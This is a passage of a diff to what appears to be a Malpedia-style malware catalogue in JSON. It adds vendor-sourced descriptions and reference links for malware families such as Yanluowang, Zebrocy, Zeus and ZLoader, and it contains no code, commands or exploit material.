"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" ], "synonyms": [ @@ -51389,9 +53895,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yamabot", - "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.youtube.com/watch?v=nUjxH1gW53s", + "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF", "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html?m=1", - "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html" + "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html" ], "synonyms": [ "Kaos" @@ -51402,19 +53910,19 @@ "value": "YamaBot" }, { - "description": "Ransomware.", + "description": "According to PCrisk, Yanluowang is ransomware that encrypts (and renames) files, ends all running processes, stops services, and creates the \"README.txt\" file containing a ransom note. It appends the \".yanluowang\" extension to filenames. Cybercriminals behind Yanluowang are targeting enterprise entities and organizations in the financial sector.\r\n\r\nFiles encrypted by Yanluowang can be decrypted with this tool (it is possible to decrypt all files if the original file is larger than 3GB. If the original file is smaller than 3GB, then only smaller files can be decrypted).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/", - "https://github.com/albertzsigovits/malware-notes/tree/master/Ransomware-Windows-Yanluowang", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/", "https://de.darktrace.com/blog/inside-the-yanluowang-leak-organization-members-and-tactics", - "https://therecord.media/the-yanluowang-ransomware-group-in-their-own-words/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html", "https://twitter.com/CryptoInsane/status/1586967110504398853", - "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/" + "https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/", + "https://github.com/albertzsigovits/malware-notes/tree/master/Ransomware-Windows-Yanluowang", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware", + "https://therecord.media/the-yanluowang-ransomware-group-in-their-own-words/" ], "synonyms": [ "Dryxiphia" @@ -51429,8 +53937,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/" ], "synonyms": [], "type": [] @@ -51443,8 +53951,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarraq", - "https://twitter.com/GrujaRS/status/1210541690349662209", - "https://yomi.yoroi.company/report/5e1d7b06c21640608183de58/5e1d7b09d1cc4993da62f261/overview" + "https://yomi.yoroi.company/report/5e1d7b06c21640608183de58/5e1d7b09d1cc4993da62f261/overview", + "https://twitter.com/GrujaRS/status/1210541690349662209" ], "synonyms": [], "type": [] @@ -51452,6 +53960,19 @@ "uuid": "3bba089d-cd27-465c-8c40-2ff9ff0316c6", "value": "Yarraq" }, + { + "description": "According to Palo Alto Networks, Yasso is an open source multi-platform intranet-assisted penetration toolset that brings together a number of features such as scanning, brute forcing, remote interactive shell, and running arbitrary commands. It is authored by a Mandarin-speaking pentester nicknamed Sairson.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.yasso", + "https://www.paloaltonetworks.com/blog/security-operations/through-the-cortex-xdr-lens-uncovering-a-new-activity-group-targeting-governments-in-the-middle-east-and-africa/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d58a18e8-e866-42df-a315-a1f72d2c26aa", + "value": "Yasso" + }, { "description": "", "meta": { @@ -51557,7 +54078,7 @@ "value": "YourCyanide" }, { - "description": "", + "description": "According to Intezer, YTStealer is a malware whose objective is to steal YouTube authentication cookies. As a stealer, it operates like many other stealers. The first thing it does when it\u2019s executed is to perform some environment checks. This is to detect if the malware is being analyzed in a sandbox.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ytstealer", @@ -51575,13 +54096,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty", - "https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/", "https://www.amnesty.org/en/wp-content/uploads/2021/10/AFR5747562021ENGLISH.pdf", "https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/", - "http://blog.ptsecurity.com/2019/11/studying-donot-team.html", - "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", "https://www.secureworks.com/research/threat-profiles/zinc-emerson", - "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + "http://blog.ptsecurity.com/2019/11/studying-donot-team.html", + "https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/", + "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", + "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/" ], "synonyms": [], "type": [] @@ -51633,43 +54154,43 @@ "value": "Zacinlo" }, { - "description": "", + "description": "According to brandefense, Zebrocy is malware that falls into the Trojan category, which the threat actor group APT28/Sofacy has used since 2015. Zebrocy malware consists of 3 main components; Backdoor, Downloader, and Dropper. The Downloader and Dropper take responsibility for discovery processes and downloading the main malware on the systems. At the same time, Backdoor undertakes the duties such as persistence in the system, espionage, and data extraction.\r\n\r\nThis malware, which is not considered new, has variants in many languages from the past to the present. These include programming languages such as Delphi, C#, Visual C++, VB.net, and Golang. Furthermore, we know advanced threat actors and groups revise their malicious software among their toolkits at certain time intervals using different languages and technologies.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy", - "https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/", - "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", - "https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/", - "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", - "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/", - "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://mp.weixin.qq.com/s/pE_6VRDk-2aTI996sff0og", - "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/", + "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/", "https://securelist.com/zebrocys-multilanguage-malware-salad/90680/", - "https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", - "https://meltx0r.github.io/tech/2019/10/24/apt28.html", - "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", + "https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/", + "https://brandefense.io/zebrocy-malware-technical-analysis-report/", + "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/", + "https://securelist.com/a-zebrocy-go-downloader/89419/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://mp.weixin.qq.com/s/6R7bFs9lH1I3BNdkatCC9g", "https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html", "https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/", + "https://www.secureworks.com/research/threat-profiles/iron-twilight", + "https://research.checkpoint.com/malware-against-the-c-monoculture/", + "https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/", + "https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html", + "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", + "https://meltx0r.github.io/tech/2019/10/24/apt28.html", + "https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware", + "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/", - "https://securelist.com/a-zebrocy-go-downloader/89419/", - "https://mp.weixin.qq.com/s/6R7bFs9lH1I3BNdkatCC9g", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://brandefense.io/zebrocy-malware-technical-analysis-report/", - "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "https://mp.weixin.qq.com/s/pE_6VRDk-2aTI996sff0og" ], "synonyms": [ "Zekapab" @@ -51736,20 +54257,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeppelin", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/", - "https://community.riskiq.com/article/47766fbd", - "https://threatvector.cylance.com/en_us/home/zeppelin-russian-ransomware-targets-high-profile-users-in-the-us-and-europe.html", "https://storage.pardot.com/272312/124918/Flashpoint_Hunt_Team___Zeppelin_Ransomware_Analysis.pdf", + "https://www.gdatasoftware.com/blog/2020/06/35946-burans-transformation-into-zeppelin", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", "https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://threatvector.cylance.com/en_us/home/zeppelin-russian-ransomware-targets-high-profile-users-in-the-us-and-europe.html", + "https://community.riskiq.com/article/47766fbd", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-223A_Zeppelin_CSA.pdf", "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://www.gdatasoftware.com/blog/2020/06/35946-burans-transformation-into-zeppelin", "https://www.cisa.gov/uscert/ncas/alerts/aa22-223a", "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" ], "synonyms": [], @@ -51763,16 +54284,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess", - "https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/", - "http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/", - "http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html", - "http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/", "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", - "http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/", - "https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/", - "http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html", + "http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html", "http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/", - "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/" + "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/", + "http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/", + "https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/", + "http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html", + "http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/", + "http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/", + "https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/" ], "synonyms": [ "Max++", @@ -51789,13 +54310,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government", "https://www.ibm.com/downloads/cas/OAJ4VZNJ", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/" ], "synonyms": [], "type": [] @@ -51858,50 +54379,51 @@ "value": "ZeroT" }, { - "description": "", + "description": "According to CrowdStrike, The two primary goals of the Zeus trojan horse virus are stealing people's financial information and adding machines to a botnet. Unlike many types of malware, most Zeus variants try to avoid doing long-term damage to the devices they infect. Their aim is to avoid detection from antivirus software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html", "https://www.secureworks.com/research/threat-profiles/bronze-woodland", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", "http://eternal-todo.com/blog/detecting-zeus", - "https://www.s21sec.com/en/zeus-the-missing-link/", - "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", - "https://www.secureworks.com/research/zeus?threat=zeus", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf", - "http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html", - "http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html", - "https://www.mnin.org/write/ZeusMalware.pdf", - "http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html", - "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", - "http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html", - "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.mnin.org/write/ZeusMalware.pdf", "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html", - "https://nakedsecurity.sophos.com/2010/07/24/sample-run/", - "https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite", - "https://blog.malwarebytes.com/101/2021/07/the-life-and-death-of-the-zeus-trojan/", - "http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html", - "http://eternal-todo.com/blog/zeus-spreading-facebook", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", + "http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html", "http://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "http://eternal-todo.com/blog/new-zeus-binary", + "https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite", + "https://nakedsecurity.sophos.com/2010/07/24/sample-run/", + "http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html", + "https://blog.malwarebytes.com/101/2021/07/the-life-and-death-of-the-zeus-trojan/", + "http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html", "https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20", - "https://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "http://eternal-todo.com/blog/new-zeus-binary", + "http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html", + "http://eternal-todo.com/blog/zeus-spreading-facebook", "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", "https://www.anomali.com/files/white-papers/russian-federation-country-profile.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" + "https://www.crowdstrike.com/cybersecurity-101/malware/trojan-zeus-malware", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.s21sec.com/en/zeus-the-missing-link/", + "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://www.secureworks.com/research/zeus?threat=zeus", + "http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html", + "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", + "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.secureworks.com/research/threat-profiles/gold-evergreen", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", + "http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html" ], "synonyms": [ "Zbot" @@ -51942,9 +54464,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl", - "https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/", "https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/", - "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/" + "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/", + "https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/" ], "synonyms": [ "XSphinx" @@ -51959,9 +54481,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx", - "https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/", "https://securityintelligence.com/posts/zeus-sphinx-back-in-business-some-core-modifications-arise/", - "https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html" + "https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html", + "https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/" ], "synonyms": [], "type": [] @@ -51983,10 +54505,13 @@ "value": "Zezin" }, { - "description": "", + "description": "zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.\r\nUsually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat", + "https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/", + "https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US", + "https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities", "https://bazaar.abuse.ch/browse/signature/zgRAT/" ], "synonyms": [], @@ -52072,88 +54597,88 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader", - "https://blag.nullteilerfrei.de/2020/06/11/api-hashing-in-the-zloader-malware/", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed", "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", - "https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/", - "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", - "https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit", - "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", - "https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks", - "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/", - "https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", - "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", - "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", - "https://noticeofpleadings.com/zloader/", - "https://labs.k7computing.com/?p=22458", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://blogs.quickheal.com/zloader-entailing-different-office-files/", - "https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", - "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", - "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/", - "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/", - "https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", "https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader", - "https://blog.alyac.co.kr/3322", - "https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance", + "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", + "https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://clickallthethings.wordpress.com/2020/09/21/zloader-xlm-update-macro-code-and-behavior-change/", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", 